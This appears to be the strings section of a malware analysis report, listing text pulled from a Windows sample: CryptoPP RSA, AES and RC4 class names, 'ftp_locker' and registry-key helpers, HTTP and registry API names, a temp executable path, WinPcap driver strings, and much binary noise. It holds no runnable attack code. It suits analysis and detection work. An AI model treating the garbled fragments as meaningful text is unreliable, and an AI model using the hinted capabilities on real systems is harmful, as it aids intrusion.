@boost@@</pre><pre>.?AV?$bind_t@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@V?$cmf0@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@Vreg_keys_holder@reg_win@@@_mfi@boost@@V?$list1@U?$arg@$00@boost@@@_bi@5@@_bi@boost@@</pre><pre>.?AV?$bind_t@_NP6A_NAAVholder_key@reg_win@@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@ABVparser_holder@ftp_locker@ftp_parser@@@ZV?$list3@U?$arg@$00@boost@@U?$arg@$01@2@V?$value@Vparser_holder@ftp_locker@ftp_parser@@@_bi@2@@_bi@boost@@@_bi@boost@@</pre><pre>.?AV?$bind_t@_NP6A_NAAVholder_key@reg_win@@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@11ABVparser_holder@ftp_locker@ftp_parser@@@ZV?$list5@U?$arg@$00@boost@@U?$arg@$01@2@V?$value@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@_bi@2@V452@V?$value@Vparser_holder@ftp_locker@ftp_parser@@@52@@_bi@boost@@@_bi@boost@@</pre><pre>.?AUNoChannelSupport@BufferedTransformation@CryptoPP@@</pre><pre>.?AVInvalidKeyLength@CryptoPP@@</pre><pre>.?AVPublicKeyAlgorithm@CryptoPP@@</pre><pre>.?AVPrivateKeyAlgorithm@CryptoPP@@</pre><pre>.?AVPrivateKey@CryptoPP@@</pre><pre>.?AV?$ASN1CryptoMaterial@VPrivateKey@CryptoPP@@@CryptoPP@@</pre><pre>.?AVPKCS8PrivateKey@CryptoPP@@</pre><pre>.?AVPublicKey@CryptoPP@@</pre><pre>.?AV?$ASN1CryptoMaterial@VPublicKey@CryptoPP@@@CryptoPP@@</pre><pre>.?AVX509PublicKey@CryptoPP@@</pre><pre>.?AV?$VariableKeyLength@$0BA@$0BA@$0CA@$07$03$0A@@CryptoPP@@</pre><pre>.?AVSimpleKeyingInterface@CryptoPP@@</pre><pre>.?AV?$SimpleKeyingInterfaceImpl@V?$TwoBases@VBlockCipher@CryptoPP@@URijndael_Info@2@@CryptoPP@@V12@@CryptoPP@@</pre><pre>.?AV?$AlgorithmImpl@V?$SimpleKeyingInterfaceImpl@V?$TwoBases@VBlockCipher@CryptoPP@@URijndael_Info@2@@CryptoPP@@V12@@CryptoPP@@V12@@CryptoPP@@</pre><pre>.PAVRSAFunction@CryptoPP@@</pre><pre>.PAVInvertibleRSAFunction@CryptoPP@@</pre><pre>.PBVPrimeSelector@CryptoPP@@</pre><pre>.?AVInvalidKeyLength@PK_SignatureScheme@CryptoPP@@</pre><pre>.?AVKeyTooShort@PK_SignatureScheme@CryptoPP@@</pre><pre>.?AV?$VariableKeyLength@$0BA@$00$0BAA@$00$03$0A@@CryptoPP@@</pre><pre>.?AV?$SimpleKeyingInterfaceImpl@VARC4_Base@Weak1@CryptoPP@@V123@@CryptoPP@@</pre><pre>.?AV?$AlgorithmImpl@V?$SimpleKeyingInterfaceImpl@VARC4_Base@Weak1@CryptoPP@@V123@@CryptoPP@@VARC4_Base@Weak1@2@@CryptoPP@@</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\temp3297822988.exe</pre><pre>%WinDir%</pre><pre>%System%\drivers\</pre><pre>%System%\</pre><pre>CreateIoCompletionPort</pre><pre>GetWindowsDirectoryA</pre><pre>GetSystemWindowsDirectoryA</pre><pre>RegQueryInfoKeyA</pre><pre>RegCreateKeyExA</pre><pre>RegEnumKeyExA</pre><pre>MapVirtualKeyA</pre><pre>HttpOpenRequestA</pre><pre>HttpSendRequestA</pre><pre>InternetCrackUrlA</pre><pre>HttpQueryInfoA</pre><pre>%m5V%L%d%h%w%9º"1@f[:B</pre><pre>3,#9'/($*</pre><pre>]<%cW</pre><pre>.-/&00((00</pre><pre>5-9,0000</pre><pre>###03# 1#</pre><pre>!&]#### -###))558)</pre><pre>##-;##=4--#</pre><pre># 0-\# ; ;####3<</pre><pre>[5#>=@5#</pre><pre>#)0#3#>#</pre><pre>###66## . </pre><pre># #-#1?6)</pre><pre>"- -#%-)</pre><pre>(88($(80@</pre><pre>8$,$ $0 80(,,</pre><pre>,4840$,(\8$$@(</pre><pre><004(@4$0$0($<8,($</pre><pre>.reloc</pre><pre>%7xh#/^QQl2X</pre><pre>.-/&00((</pre><pre>F).sB</pre><pre>'9';ð</pre><pre>4R.Ea</pre><pre>\Registry\Machine\System\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\</pre><pre>\Registry\Machine\System\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}</pre><pre>\Registry\Machine\System\CurrentControlSet\Services\Tcpip\Linkage</pre><pre>npf.sys (NT5/6 x86) Kernel Driver</pre><pre>4.1.0.1753</pre><pre>5755555555</pre><pre>5555555</pre><pre>577777555555</pre><pre>0000001111111</pre><pre>11111122222222</pre><pre>6666668</pre><pre>88888888</pre><pre>,-./0123456789</pre><pre>$567$$=></pre><pre>.pqrst</pre><pre>$%&'()* ,</pre><pre>wpcap.dll Dynamic Link Library - based on libpcap 1.0rel0b branch (20091008)</pre><pre>SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces</pre><pre>TcpIp</pre><pre>SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}</pre><pre>SYSTEM\CurrentControlSet\Services\Tcpip\Linkage</pre><pre>drivers\NPF.sys</pre><pre>airpcap.dll</pre><pre>\StringFileInfo\xx\FileVersion</pre><pre>PACKET.DLL</pre><pre>packet.dll (NT5) Dynamic Link Library</pre><pre>abe2869f-9b47-4cd9-a358-c22904dba7f7</pre></pre>

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps

Related articles